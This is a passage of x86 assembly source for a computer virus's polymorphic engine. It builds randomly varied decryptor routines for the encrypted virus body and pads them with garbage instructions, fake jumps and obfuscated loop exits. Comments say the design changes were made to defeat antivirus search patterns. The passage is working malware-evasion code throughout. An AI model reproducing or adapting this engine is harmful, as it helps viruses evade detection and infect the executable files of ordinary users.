pop eax
ret

;============================================================================
;Generate a block of random data
;============================================================================

gen_rnd_block: mov eax,0000000Ah


mov ecx,eax
call get_rnd_range
add ecx,eax
call gen_data_area
rnd_fill: mov eax,dword ptr [ebp+FileSizeOnDisk]
dec eax
sub eax,ecx
call get_rnd_range
add eax,dword ptr [ebp+map_is_here]
mov esi,eax
cld
rep movsb
ret

;============================================================================
;Linear congruent pseudorandom number generator
;============================================================================

get_rnd32: push ecx


push edx
mov eax,dword ptr [ebp+rnd32_seed]
mov ecx,41C64E6Dh
mul ecx
add eax,00003039h
and eax,7FFFFFFFh
mov dword ptr [ebp+rnd32_seed],eax
pop edx
pop ecx
ret
;============================================================================
;Returns a random num between 0 and entry eax
;============================================================================

get_rnd_range: push ecx


push edx
mov ecx,eax
call get_rnd32
xor edx,edx
div ecx
mov eax,edx
pop edx
pop ecx
ret

;============================================================================
;Perform encryption
;============================================================================

;============================================================
;This buffer will contain the code to "crypt" the virus code
;followed by a RET instruction
;============================================================

perform_crypt: db 10h dup (90h)

;============================================================================
;Generate decryptor action: Load pointer
;
;We dont need to get delta-offset, this virus assumes fixed load address
;============================================================================

gen_load_ptr: mov al,0B8h


or al,byte ptr [ebp+index_mask]
stosb
mov eax,dword ptr [ebp+host_base]
add eax,dword ptr [ebp+PtrToCrypt]
add eax,dword ptr [ebp+ptr_disp]
mov edx,dword ptr [ebp+virus_sh]
sub eax,dword ptr [edx+SH_PointerToRawData]
add eax,dword ptr [edx+SH_VirtualAddress]
test byte ptr [ebp+build_flags],CRYPT_DIRECTION
jz fix_dir_ok
push eax ;Fix upon direction
call fixed_size2ecx
xor eax,eax
mov al,byte ptr [ebp+oper_size]
push eax
mul ecx
pop ecx
sub eax,ecx
pop ecx
add eax,ecx
fix_dir_ok: stosd
ret

;============================================================================
;Generate decryptor action: Load counter
;============================================================================

;============================================================
;Easy now, just move counter random initial value
;into counter reg and calculate the end value
;============================================================

gen_load_ctr: mov al,0B8h


or al,byte ptr [ebp+counter_mask]
stosb
call fixed_size2ecx
call get_rnd32
stosd
test byte ptr [ebp+build_flags],CRYPT_CDIR
jnz counter_down
counter_up: add eax,ecx
jmp short done_ctr_dir
counter_down: sub eax,ecx
done_ctr_dir: mov dword ptr [ebp+end_value],eax
ret

;============================================================================
;Generate decryptor action: Decrypt
;============================================================================

gen_decrypt: mov eax,dword ptr [ebp+ptr_disp]


mov dword ptr [ebp+fake_ptr_disp],eax

mov eax,dword ptr [ebp+crypt_key]


mov dword ptr [ebp+fake_crypt_key],eax

mov al,byte ptr [ebp+build_flags]


mov byte ptr [ebp+fake_build_flags],al

mov al,byte ptr [ebp+oper_size]


mov byte ptr [ebp+fake_oper_size],al

mov al,byte ptr [ebp+index_mask]


mov byte ptr [ebp+fake_index_mask],al

call fake_or_not

xor eax,eax
mov al,byte ptr [ebp+oper_size]
shr eax,01h
shl eax,02h
add esi,eax
lodsd
add eax,ebp
mov esi,eax
push edi
lea edi,dword ptr [ebp+perform_crypt]
loop_string: lodsb
cmp al,MAGIC_ENDSTR
je end_of_magic
cmp al,MAGIC_ENDKEY
je last_spell
xor ecx,ecx
mov cl,al
rep movsb
jmp short loop_string
last_spell: call copy_key
end_of_magic: mov al,0C3h
stosb
pop edi
ret
;============================================================================
;Copy encryption key into work buffer taking care about operand size
;============================================================================

copy_key: mov eax,dword ptr [ebp+fake_crypt_key]


movzx ecx,byte ptr [ebp+fake_oper_size]
loop_key: stosb
shr eax,08h
loop loop_key
ret

;============================================================================
;Generate decryptor action: Move index to next step
;============================================================================

;============================================================
;Get number of bytes to inc or dec the index reg
;============================================================

gen_next_step: movzx ecx,byte ptr [ebp+oper_size]

;============================================================
;Get number of bytes to update with this instruction
;============================================================

loop_update: mov eax,ecx


call get_rnd_range
inc eax

;============================================================
;Check direction
;============================================================

test byte ptr [ebp+build_flags],CRYPT_DIRECTION


jnz step_down

call do_step_up
jmp short next_update

step_down: call do_step_down

next_update: sub ecx,eax


call GenGarbageEx
jecxz end_update
jmp short loop_update
end_update: ret

;============================================================
;Move index_reg up
;============================================================

do_step_up: push eax

mov eax,NumIdxUp
call get_rnd_range
lea esi,dword ptr [ebp+tbl_idx_up+eax*04h]
lodsd
add eax,ebp
jmp eax

IdxUpWithADD: mov ax,0C081h


or ah,byte ptr [ebp+index_mask]
stosw
pop eax
stosd
ret

IdxUpWithSUB: mov ax,0E881h


or ah,byte ptr [ebp+index_mask]
stosw
pop eax
neg eax
stosd
neg eax
ret

IdxUpWithINC: mov al,40h


or al,byte ptr [ebp+index_mask]
stosb
pop eax
mov eax,000000001h
ret

IdxUpADDADD: call save_it_ADD


push eax
mov ax,0C081h
or ah,byte ptr [ebp+index_mask]
stosw
pop eax
pop edx
sub eax,edx
neg eax
stosd
mov eax,edx
ret

IdxUpADDSUB: call save_it_ADD


push eax
mov ax,0E881h
or ah,byte ptr [ebp+index_mask]
stosw
pop eax
pop edx
sub eax,edx
stosd
mov eax,edx
ret

IdxUpSUBSUB: call save_it_SUB


push eax
mov ax,0E881h
or ah,byte ptr [ebp+index_mask]
stosw
pop eax
pop edx
add eax,edx
neg eax
stosd
mov eax,edx
ret

IdxUpSUBADD: call save_it_SUB


push eax
mov ax,0C081h
or ah,byte ptr [ebp+index_mask]
stosw
pop eax
pop edx
add eax,edx
stosd
mov eax,edx
ret

;============================================================
;Move index_reg down
;============================================================

do_step_down: push eax

mov eax,NumIdxDown
call get_rnd_range
lea esi,dword ptr [ebp+tbl_idx_down+eax*04h]
lodsd
add eax,ebp
jmp eax

IdxDownWithADD: mov ax,0C081h


or ah,byte ptr [ebp+index_mask]
stosw
pop eax
neg eax
stosd
neg eax
ret

IdxDownWithSUB: mov ax,0E881h


or ah,byte ptr [ebp+index_mask]
stosw
pop eax
stosd
ret

IdxDownWithDEC: mov al,48h


or al,byte ptr [ebp+index_mask]
stosb
pop eax
mov eax,00000001h
ret

IdxDownADDADD: call save_it_ADD


push eax
mov ax,0C081h
or ah,byte ptr [ebp+index_mask]
stosw
pop eax
pop edx
sub eax,edx
neg eax
stosd
mov eax,edx
ret

IdxDownADDSUB: call save_it_ADD


push eax
mov ax,0E881h
or ah,byte ptr [ebp+index_mask]
stosw
pop eax
pop edx
sub eax,edx
neg eax
stosd
mov eax,edx
ret

IdxDownSUBSUB: call save_it_SUB


push eax
mov ax,0E881h
or ah,byte ptr [ebp+index_mask]
stosw
pop eax
pop edx
add eax,edx
neg eax
stosd
mov eax,edx
ret

IdxDownSUBADD: call save_it_SUB


push eax
mov ax,0C081h
or ah,byte ptr [ebp+index_mask]
stosw
pop eax
pop edx
add eax,edx
neg eax
stosd
mov eax,edx
ret

save_it_ADD: call total_save_it


push edx
mov al,03h
stosw
xor byte ptr [ebx+REG_FLAGS],REG_READ_ONLY
call GenGarbageEx
pop eax
ret

save_it_SUB: call total_save_it


push edx
mov al,2Bh
stosw
xor byte ptr [ebx+REG_FLAGS],REG_READ_ONLY
call GenGarbageEx
pop eax
ret

total_save_it: call get_valid_reg


or byte ptr [ebx+REG_FLAGS],REG_READ_ONLY
mov al,0B8h
or al,byte ptr [ebx+REG_MASK]
stosb
call get_rnd32
stosd
push eax
push ebx
call GenGarbageEx
pop ebx
mov ah,byte ptr [ebp+index_mask]
shl ah,03h
or ah,byte ptr [ebx+REG_MASK]
or ah,0C0h
pop edx
ret

;============================================================================
;Generate decryptor action: Next counter value
;============================================================================

;============================================================
;Check counter direction and update counter
;using a INC or DEC instruction
;============================================================

gen_next_ctr: test byte ptr [ebp+build_flags],CRYPT_CDIR


jnz upd_ctr_down
upd_ctr_up: call get_rnd32
and al,01h
jz CountUpINC

mov al,40h
jmp DoShitWithCtr

CountUpINC: mov al,40h


or al,byte ptr [ebp+counter_mask]
jmp short upd_ctr_ok

upd_ctr_down: call get_rnd32


and al,01h
jz CountUpDEC

mov al,48h
jmp DoShitWithCtr

CountUpDEC: mov al,48h


or al,byte ptr [ebp+counter_mask]
upd_ctr_ok: stosb
ret

DoShitWithCtr: push eax

call get_valid_reg
or byte ptr [ebx+REG_FLAGS],REG_READ_ONLY
mov ah,byte ptr [ebx+REG_MASK]
shl ah,03h
or ah,byte ptr [ebp+counter_mask]
or ah,0C0h
mov al,8Bh
stosw
push ebx
call GenGarbageEx
pop ebx

pop eax
or al,byte ptr [ebx+REG_MASK]
stosb
push ebx
call GenGarbageEx
pop ebx
mov ah,byte ptr [ebp+counter_mask]
shl ah,03h
or ah,byte ptr [ebx+REG_MASK]
or ah,0C0h
mov al,8Bh
stosw
xor byte ptr [ebx+REG_FLAGS],REG_READ_ONLY
ret

;============================================================================
;Generate decryptor action: Loop
;============================================================================

;============================================================
;Use counter reg in CMP instruction?
;============================================================

gen_loop: test byte ptr [ebp+build_flags],CRYPT_CMPCTR


jnz doloopauxreg

;============================================================
;Generate CMP counter_reg,end_value
;============================================================

mov ax,0F881h
or ah,byte ptr [ebp+counter_mask]
stosw
mov eax,dword ptr [ebp+end_value]
stosd
jmp doloopready

;============================================================
;Get a random valid register to use in a CMP instruction
;============================================================

doloopauxreg: call get_valid_reg


or byte ptr [ebx+REG_FLAGS],REG_READ_ONLY

;============================================================
;Move index reg value into aux reg
;============================================================

mov ah,byte ptr [ebx+REG_MASK]


shl ah,03h
or ah,byte ptr [ebp+counter_mask]
or ah,0C0h
mov al,8Bh
stosw

;============================================================
;Guess what!?
;============================================================

push ebx
call GenGarbageEx
pop ebx

call get_rnd32
and al,03h
or al,al
jz loop_use_cmp
test al,02h
jz loop_use_sub

;============================================================
;Generate ADD aux_reg,-end_value
;============================================================
loop_use_add: mov ax,0C081h
or ah,byte ptr [ebx+REG_MASK]
stosw
mov eax,dword ptr [ebp+end_value]
neg eax
stosd
jmp short done_loop_use

;============================================================
;Generate CMP aux_reg,end_value
;============================================================

loop_use_cmp: mov ax,0F881h


jmp short loop_mask_here

;============================================================
;Generate SUB aux_reg,end_value
;============================================================

loop_use_sub: mov eax,0E881h


loop_mask_here: or ah,byte ptr [ebx+REG_MASK]
stosw
mov eax,dword ptr [ebp+end_value]
stosd

;============================================================
;Restore aux reg state
;============================================================

done_loop_use: xor byte ptr [ebx+REG_FLAGS],REG_READ_ONLY

;============================================================
;Generate conditional jump
;============================================================

doloopready: mov eax,NumExitLoop


call get_rnd_range
lea esi,dword ptr [ebp+TblExitLoop+eax*04h]
lodsd
add eax,ebp
jmp eax

TblExitLoop equ $

dd offset doloopup
dd offset doloopdown
dd offset doloopmix

NumExitLoop equ ($-TblExitLoop)/04h

;============================================================
;Generate the following structure:
;
; loop_point:
; ...
; jnz loop_point
; ...
; jmp decrypted-code
;============================================================

doloopup: mov dword ptr [ebp+condition_ptr],edi


mov ax,850Fh
stosw
mov eax,dword ptr [ebp+loop_point]
sub eax,edi
sub eax,00000004h
stosd
call GenGarbageEx

mov esi,dword ptr [ebp+PtrToEP]


call DoComplexCmp
jmp CreateFog

;============================================================
;...or this one:
;
; loop_point:
; ...
; jz decrypted-code
; ...
; jmp loop_point
; ...
;============================================================

doloopdown: mov dword ptr [ebp+condition_ptr],edi


mov ax,840Fh
stosw
mov eax,dword ptr [ebp+PtrToEP]

sub eax,edi
sub eax,00000004h
stosd
call GenGarbageEx

mov esi,dword ptr [ebp+loop_point]


call DoComplexCmp
jmp CreateFog

;============================================================
;Generate the following structure:
;
; loop_point:
; ...
; jnz auxdest
; ...
; jmp decrypted-code
; ...
; auxdest:
; ...
; jmp loop_point
;============================================================

doloopmix: mov dword ptr [ebp+condition_ptr],edi


mov ax,850Fh
stosw
push edi
stosd
call GenGarbageEx
mov esi,dword ptr [ebp+PtrToEP]
call DoComplexCmp
call GenGarbageEx
pop edx
mov eax,edi
sub eax,00000004h
sub eax,edx
mov dword ptr [edx],eax
call GenGarbageEx
mov esi,dword ptr [ebp+loop_point]
call DoComplexCmp

;============================================================
;I notice some AV was using the JZ/JNZ instruction at the
;end of the decryptor in a search pattern... So now im going
;to build it at runtime (sometimes...)
;============================================================

CreateFog: test byte ptr [ebp+build_flags],CRYPT_FOG


jz NoFogRet

mov eax,NumFog
call get_rnd_range
lea esi,dword ptr [ebp+TblDoFog+eax*04h]
lodsd
add eax,ebp
call eax

mov eax,NumFixFog
call get_rnd_range
lea esi,dword ptr [ebp+TblFixFog+eax*04h]
lodsd
mov esi,dword ptr [ebp+condition_ptr]
add eax,ebp
call eax

NoFogRet: ret

;============================================================================
;Prepare pointer to memory into fog block, using ADD
;============================================================================

DoFogAdd: call FogStart


sub eax,dword ptr [ebp+Xrnd1]
push edi
push eax
mov ebx,dword ptr [ebp+XrndReg]
mov edi,dword ptr [ebp+XrndFixPtr]
mov ax,0C081h
or ah,byte ptr [ebx+REG_MASK]
stosw
pop eax
stosd
pop edi
ret

FixFogAdd: push edi


mov edi,dword ptr [ebp+XrndMath]
mov al,81h
mov ah,byte ptr [ebx+REG_MASK]
stosw
call get_rnd32
stosd
sub dword ptr [esi],eax
pop edi
ret

;============================================================================
;Prepare pointer to memory into fog block, using SUB
;============================================================================
DoFogSub: call FogStart
neg eax
add eax,dword ptr [ebp+Xrnd1]
push edi
push eax
mov ebx,dword ptr [ebp+XrndReg]
mov edi,dword ptr [ebp+XrndFixPtr]
mov ax,0E881h
or ah,byte ptr [ebx+REG_MASK]
stosw
pop eax
stosd
pop edi
ret

FixFogSub: push edi


mov edi,dword ptr [ebp+XrndMath]
mov ax,2881h
or ah,byte ptr [ebx+REG_MASK]
stosw
call get_rnd32
stosd
add dword ptr [esi],eax
pop edi
ret

;============================================================================
;Prepare pointer to memory into fog block, using XOR
;============================================================================

DoFogXor: call FogStart


xor eax,dword ptr [ebp+Xrnd1]
push edi
push eax
mov ebx,dword ptr [ebp+XrndReg]
mov edi,dword ptr [ebp+XrndFixPtr]
mov ax,0F081h
or ah,byte ptr [ebx+REG_MASK]
stosw
pop eax
stosd
pop edi
ret

FixFogXor: push edi


mov edi,dword ptr [ebp+XrndMath]
mov ax,3081h
or ah,byte ptr [ebx+REG_MASK]
stosw
call get_rnd32
stosd
xor dword ptr [esi],eax
pop edi
ret

;============================================================================
;Setup fog block
;============================================================================

FogStart: mov esi,dword ptr [ebp+condition_ptr]


mov eax,esi
call FromPoly2Rva
ret

;============================================================================
;Convert a given value in the poly decryptor to its future RVA
;
;On entry:
; eax -> Value to convert
;On exit:
; eax -> Converted value
;============================================================================

FromPoly2Rva: push edx


sub eax,dword ptr [ebp+map_is_here]
add eax,dword ptr [ebp+host_base]
mov edx,dword ptr [ebp+virus_sh]
sub eax,dword ptr [edx+SH_PointerToRawData]
add eax,dword ptr [edx+SH_VirtualAddress]
pop edx
ret

;============================================================================
;Produce complex end determination
;
;On entry:
; esi -> PtrToEP or loop_point
;============================================================================

DoComplexCmp: call get_rnd32


and al,01h
jz JmpEndJmpReg

;============================================================
;Go using JMP imm
;============================================================

JmpEndJmpImm: mov al,0E9h


stosb
mov eax,esi
sub eax,edi
sub eax,00000004h
stosd
ret

;============================================================
;Go using complex escheme
;============================================================

JmpEndJmpReg: push esi

call get_valid_reg
or byte ptr [ebx+REG_FLAGS],REG_READ_ONLY
mov al,0B8h
or al,byte ptr [ebx+REG_MASK]
stosb
call get_rnd32
stosd
push eax
push ebx
call GenGarbageEx

mov eax,NumJmpEnd
call get_rnd_range
lea esi,dword ptr [ebp+tbl_jmp_end+eax*04h]
lodsd
add eax,ebp

pop ebx
pop edx
pop esi

call eax

push ebx
call GenGarbageEx
pop ebx

call get_rnd32
and al,01h
jz EndUseJmpReg

EndUsePushRet: mov al,50h


or al,byte ptr [ebx+REG_MASK]
stosb
xor byte ptr [ebx+REG_FLAGS],REG_READ_ONLY
call GenGarbageEx
call gen_ret
ret

EndUseJmpReg: mov ax,0E0FFh


or ah,byte ptr [ebx+REG_MASK]
stosw
xor byte ptr [ebx+REG_FLAGS],REG_READ_ONLY
ret

;============================================================================
;Complex end using ADD
;============================================================================

jmpendregadd: mov ax,0C081h


or ah,byte ptr [ebx+REG_MASK]
stosw
call ExtendedEnd
sub eax,edx
stosd
ret

;============================================================================
;Complex end using SUB
;============================================================================

jmpendregsub: mov ax,0E881h


or ah,byte ptr [ebx+REG_MASK]
stosw
call ExtendedEnd
sub eax,edx
neg eax
stosd
ret

;============================================================================
;Complex end using XOR
;============================================================================

jmpendregxor: mov ax,0F081h


or ah,byte ptr [ebx+REG_MASK]
stosw
call ExtendedEnd
xor eax,edx
stosd
ret

;============================================================================
;Complex fixed address
;============================================================================

ExtendedEnd: mov eax,esi


call FromPoly2Rva
ret

;============================================================================
;Generate init garbage
;============================================================================

GenInitGarbage: mov eax,00000005h


call get_rnd_range
or eax,eax
jz ExitInitGarbage

mov ecx,eax
loop_g_i_g: push ecx

mov eax,(end_i_g-tbl_i_g)/04h
call get_rnd_range

lea esi,dword ptr [ebp+tbl_i_g+eax*04h]


lodsd
add eax,ebp
call eax

pop ecx
loop loop_g_i_g

ExitInitGarbage:ret

;============================================================================
;Generate some garbage code
;============================================================================

GenGarbageEx: mov eax,00000004h


jmp short GoDirectToHell
gen_garbage: mov eax,00000002h
GoDirectToHell: push ecx
push esi
inc byte ptr [ebp+recursive_level]

call get_rnd_range
inc eax
inc eax
mov ecx,eax
loop_garbage: push ecx
mov eax,(end_garbage-tbl_garbage)/04h

cmp byte ptr [ebp+recursive_level],06h


jae too_much_shit

cmp byte ptr [ebp+recursive_level],02h


jb ok_gen_num

mov eax,(save_space-tbl_garbage)/04h
ok_gen_num: call get_rnd_range
lea esi,dword ptr [ebp+tbl_garbage+eax*04h]
lodsd
add eax,ebp
call eax
too_much_shit: pop ecx
loop loop_garbage

;============================================================
;Update recursive level
;============================================================

exit_gg: dec byte ptr [ebp+recursive_level]


pop esi
pop ecx
ret

;============================================================================
;Generate MOV reg,imm
;============================================================================

;============================================================
;Generate MOV reg32,imm
;============================================================

g_movreg32imm: call get_valid_reg


mov al,0B8h
or al,byte ptr [ebx+REG_MASK]
stosb
call get_rnd32
stosd
ret

;============================================================
;Generate MOV reg16,imm
;============================================================

g_movreg16imm: call get_valid_reg


mov ax,0B866h
or ah,byte ptr [ebx+REG_MASK]
stosw
call get_rnd32
stosw
ret

;============================================================
;Generate MOV reg8,imm
;============================================================

g_movreg8imm: call get_valid_reg


test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT
jnz a_movreg8imm
call get_rnd32
mov al,0B0h
or al,byte ptr [ebx+REG_MASK]
push eax
call get_rnd32
pop edx
and ax,0004h
or ax,dx
stosw
a_movreg8imm: ret
;============================================================================
;Generate mov reg,reg
;============================================================================

g_movregreg32: call get_rnd_reg


push ebx
call get_valid_reg
pop edx
cmp ebx,edx
je a_movregreg32
c_movregreg32: mov al,8Bh
h_movregreg32: mov ah,byte ptr [ebx+REG_MASK]
shl ah,03h
or ah,byte ptr [edx+REG_MASK]
or ah,0C0h
stosw
a_movregreg32: ret

g_movregreg16: call get_rnd_reg


push ebx
call get_valid_reg
pop edx
cmp ebx,edx
je a_movregreg32
mov al,66h
stosb
jmp short c_movregreg32

g_movregreg8: call get_rnd_reg


test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT
jnz a_movregreg8
push ebx
call get_valid_reg
pop edx
mov al,8Ah
h_movregreg8: test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT
jnz a_movregreg8
cmp ebx,edx
je a_movregreg8
mov ah,byte ptr [ebx+REG_MASK]
shl ah,03h
or ah,byte ptr [edx+REG_MASK]
or ah,0C0h
push eax
call get_rnd32
pop edx
and ax,2400h
or ax,dx
stosw
a_movregreg8: ret

;============================================================================
;Generate xchg reg,reg
;============================================================================

g_xchgregreg32: call get_valid_reg


push ebx
call get_valid_reg
pop edx
cmp ebx,edx
je a_movregreg32
h_xchgregreg32: mov al,87h
jmp h_movregreg32

g_xchgregreg16: call get_valid_reg


push ebx
call get_valid_reg
pop edx
cmp ebx,edx
je a_movregreg32
mov al,66h
stosb
jmp short h_xchgregreg32

g_xchgregreg8: call get_valid_reg


test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT
jnz a_movregreg8
push ebx
call get_valid_reg
pop edx
mov al,86h
jmp h_movregreg8

;============================================================================
;Generate MOVZX/MOVSX reg32,reg16
;============================================================================

g_movzx_movsx: call get_rnd32


mov ah,0B7h
and al,01h
jz d_movzx
mov ah,0BFh
d_movzx: mov al,0Fh
stosw
call get_rnd_reg
push ebx
call get_valid_reg
pop edx
mov al,byte ptr [ebx+REG_MASK]
shl al,03h
or al,0C0h
or al,byte ptr [edx+REG_MASK]
stosb
ret

;============================================================================
;Generate INC reg
;============================================================================

g_inc_reg32: call get_valid_reg


mov al,40h
or al,byte ptr [ebx+REG_MASK]
stosb
ret

g_inc_reg16: mov al,66h


stosb
jmp short g_inc_reg32

g_inc_reg8: call get_valid_reg


test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT
jnz a_inc_reg8
call get_rnd32
and ah,04h
or ah,byte ptr [ebx+REG_MASK]
or ah,0C0h
mov al,0FEh
stosw
a_inc_reg8: ret

;============================================================================
;Generate DEC reg
;============================================================================

g_dec_reg32: call get_valid_reg


mov al,48h
or al,byte ptr [ebx+REG_MASK]
stosb
ret

g_dec_reg16: mov al,66h


stosb
jmp short g_dec_reg32

g_dec_reg8: call get_valid_reg


test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT
jnz a_dec_reg8
call get_rnd32
and ah,04h
or ah,byte ptr [ebx+REG_MASK]
or ah,0C8h
mov al,0FEh
stosw
a_dec_reg8: ret

;============================================================================
;Generate ADD/SUB/XOR/OR/AND reg,imm
;============================================================================

g_mathregimm32: mov al,81h


stosb
call get_valid_reg
call do_math_work
stosd
ret

g_mathregimm16: mov ax,8166h


stosw
call get_valid_reg
call do_math_work
stosw
ret

g_mathregimm8: call get_valid_reg


test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT
jnz a_math8
mov al,80h
stosb
call do_math_work
stosb
and ah,04h
or byte ptr [edi-00000002h],ah
a_math8: ret

do_math_work: mov eax,end_math_imm-tbl_math_imm


call get_rnd_range
lea esi,dword ptr [ebp+eax+tbl_math_imm]
lodsb
or al,byte ptr [ebx+REG_MASK]
stosb
call get_rnd32
ret

;============================================================================
;Generate decryption instructions (real or fake ones)
;============================================================================

;============================================================
;Check if we are going to use a displacement in the
;indexing mode
;============================================================

fake_or_not: mov eax,dword ptr [ebp+fake_ptr_disp]


or eax,eax
jnz more_complex

;============================================================
;Choose generator for [reg] indexing mode
;============================================================

mov edx,offset tbl_idx_reg


call choose_magic
jmp you_got_it

;============================================================
;More fun?!?!
;============================================================

more_complex: mov al,byte ptr [ebp+fake_build_flags]


test al,CRYPT_SIMPLEX
jnz crypt_xtended

;============================================================
;Choose generator for [reg+imm] indexing mode
;============================================================

mov edx,offset tbl_dis_reg


call choose_magic

;============================================================
;Use magic to convert some values into
;desired instructions
;============================================================

you_got_it: call size_correct


mov dl,byte ptr [ebp+fake_index_mask]
lodsb
or al,al
jnz adn_reg_01
cmp dl,00000101b
je adn_reg_02
adn_reg_01: lodsb
or al,dl
stosb
jmp common_part
adn_reg_02: lodsb
add al,45h
xor ah,ah
stosw
jmp common_part
;============================================================
;Choose [reg+reg] or [reg+reg+disp]
;============================================================

crypt_xtended: xor eax,eax


mov dword ptr [ebp+disp2disp],eax ;Clear disp-over-disp

test al,CRYPT_COMPLEX
jz ok_complex

;============================================================
;Get random displacement from current displacement
;eeehh?!?
;============================================================

mov eax,00001000h
call get_rnd_range
mov dword ptr [ebp+disp2disp],eax
call load_aux

push ebx

call GenGarbageEx

;============================================================
;Choose generator for [reg+reg+imm] indexing mode
;============================================================

mov edx,offset tbl_paranoia


call choose_magic
jmp short done_xtended

ok_complex: mov eax,dword ptr [ebp+fake_ptr_disp]


call load_aux

push ebx

call GenGarbageEx

;============================================================
;Choose generator for [reg+reg] indexing mode
;============================================================

mov edx,offset tbl_xtended


call choose_magic

;============================================================
;Build decryptor instructions
;============================================================

done_xtended: call size_correct

pop ebx

mov dl,byte ptr [ebp+fake_index_mask]


lodsb
mov cl,al
or al,al
jnz arn_reg_01
cmp dl,00000101b
jne arn_reg_01
lodsb
add al,40h
stosb
jmp short arn_reg_02
arn_reg_01: movsb
arn_reg_02: mov al,byte ptr [ebx+REG_MASK]
shl al,03h
or al,dl
stosb
or cl,cl
jnz arn_reg_03
cmp dl,00000101b
jne arn_reg_03
xor al,al
stosb

;============================================================
;Restore aux reg state
;============================================================

arn_reg_03: xor byte ptr [ebx+REG_FLAGS],REG_READ_ONLY

;============================================================
;Get post-build flags
;============================================================

common_part: lodsb

;============================================================
;Insert displacement from real address?
;============================================================

test al,MAGIC_PUTDISP
jz skip_disp
push eax
mov eax,dword ptr [ebp+fake_ptr_disp]
sub eax,dword ptr [ebp+disp2disp]
neg eax
stosd
pop eax

;============================================================
;Insert key?
;============================================================

skip_disp: test al,MAGIC_PUTKEY


jz skip_key
call copy_key

skip_key: ret

;============================================================================
;Choose a magic generator
;============================================================================

choose_magic: mov eax,00000006h


call get_rnd_range
add edx,ebp
lea esi,dword ptr [edx+eax*04h]
lodsd
add eax,ebp
mov esi,eax
ret

;============================================================================
;Do operand size correction
;============================================================================

size_correct: lodsb
mov ah,byte ptr [ebp+fake_oper_size]
cmp ah,01h
je store_correct
inc al
cmp ah,04h
je store_correct
mov ah,66h
xchg ah,al
stosw
ret
store_correct: stosb
ret

;============================================================================
;Load aux reg with displacement
;============================================================================

;============================================================
;Get a valid auxiliary register
;============================================================

load_aux: push eax


call get_valid_reg
or byte ptr [ebx+REG_FLAGS],REG_READ_ONLY

;============================================================
;Move displacement into aux reg
;============================================================

mov al,0B8h
or al,byte ptr [ebx+REG_MASK]
stosb
pop eax
neg eax
stosd
ret

;============================================================================
;Generate push reg + garbage + pop reg
;============================================================================

g_push_g_pop: call gen_garbage

call get_rnd32
test al,01h
jnz skip_sp_push

call push_with_sp
jmp short from_push

skip_sp_push: call get_rnd_reg


mov al,50h
or al,byte ptr [ebx+REG_MASK]
stosb
call gen_garbage

from_push: call get_rnd32


test al,01h
jz pop_with_sp
call get_valid_reg
mov al,58h
or al,byte ptr [ebx+REG_MASK]
stosb

call gen_garbage
ret

;============================================================================
;Emulate a PUSH instruction, using SUB ESP,00000004h
;============================================================================

push_with_sp: mov eax,0004EC83h


stosd
dec edi
call GenGarbageEx
ret

;============================================================================
;Emulate a POP instruction, using ADD ESP,00000004h
;============================================================================

pop_with_sp: mov eax,0004C483h


stosd
dec edi
call GenGarbageEx
ret

;============================================================================
;Generate RET in different ways
;============================================================================

gen_ret: call get_rnd32


and al,01h
jnz just_ret

call get_valid_reg
mov al,58h
or al,byte ptr [ebx+REG_MASK]
stosb
or byte ptr [ebx+REG_FLAGS],REG_READ_ONLY
push ebx
call GenGarbageEx
pop ebx
xor byte ptr [ebx+REG_FLAGS],REG_READ_ONLY
mov ax,0E0FFh
or ah,byte ptr [ebx+REG_MASK]
stosw
ret

just_ret: mov al,0C3h


stosb
ret

;============================================================================
;Generate CALL without return
;============================================================================

g_call_cont: mov al,0E8h


stosb
push edi
stosd
call gen_rnd_block
pop edx
mov eax,edi
sub eax,edx
sub eax,00000004h
mov dword ptr [edx],eax
call GenGarbageEx

call get_rnd32
test al,01h
jz pop_with_sp

call get_valid_reg
mov al,58h
or al,byte ptr [ebx+REG_MASK]
stosb

call gen_garbage
ret

;============================================================================
;Generate unconditional jumps
;============================================================================

g_jump_u: mov al,0E9h


stosb
push edi
stosd
call gen_rnd_block
pop edx
mov eax,edi
sub eax,edx
sub eax,00000004h
mov dword ptr [edx],eax
call GenGarbageEx
ret

g_save_jump: mov al,0E9h


stosb
push edi
stosd
call gen_rnd_block
pop edx
mov eax,edi
sub eax,edx
sub eax,00000004h
mov dword ptr [edx],eax
ret

;============================================================================
;Generate conditional jumps
;============================================================================

g_jump_c: call get_rnd32


and ah,0Fh
add ah,80h
mov al,0Fh
stosw
push edi
stosd
call GenGarbageEx
pop edx
mov eax,edi
sub eax,edx
sub eax,00000004h
mov dword ptr [edx],eax
call GenGarbageEx
ret

g_save_jump_c: call get_rnd32


and ah,0Fh
add ah,80h
mov al,0Fh
stosw
xor eax,eax
stosd
ret

;============================================================================
;Generate MOV [mem],reg
;============================================================================

gen_mov_mem8: mov dl,88h


jmp mem8wr
gen_mov_mem16: mov al,66h
stosb
gen_mov_mem32: mov dl,89h
jmp gen_mem_wr

gen_add_mem8: mov dl,00h


jmp mem8wr
gen_add_mem16: mov al,66h
stosb
gen_add_mem32: mov dl,01h
jmp gen_mem_wr

gen_sub_mem8: mov dl,28h


jmp mem8wr
gen_sub_mem16: mov al,66h
stosb
gen_sub_mem32: mov dl,29h
jmp gen_mem_wr

gen_adc_mem8: mov dl,10h


jmp mem8wr
gen_adc_mem16: mov al,66h
stosb
gen_adc_mem32: mov dl,11h
jmp gen_mem_wr

gen_sbb_mem8: mov dl,18h


jmp mem8wr
gen_sbb_mem16: mov al,66h
stosb
gen_sbb_mem32: mov dl,19h
jmp gen_mem_wr

gen_or_mem8: mov dl,08h


jmp mem8wr
gen_or_mem16: mov al,66h
stosb
gen_or_mem32: mov dl,09h
jmp gen_mem_wr

gen_and_mem8: mov dl,20h


jmp mem8wr
gen_and_mem16: mov al,66h
stosb
gen_and_mem32: mov dl,21h
jmp gen_mem_wr

gen_xor_mem8: mov dl,30h


jmp mem8wr
gen_xor_mem16: mov al,66h
stosb
gen_xor_mem32: mov dl,31h
jmp gen_mem_wr

mem8wr: call gen_mem_wr


call get_rnd32
and al,20h
or byte ptr [edi-00000005h],al
ret

gen_mem_wr: call get_rnd_reg


mov ah,byte ptr [ebx+REG_MASK]
or ah,ah
jnz skip_wr_eax
cmp dl,88h
je gen_mem_wr
cmp dl,89h
je gen_mem_wr

skip_wr_eax: shl ah,03h
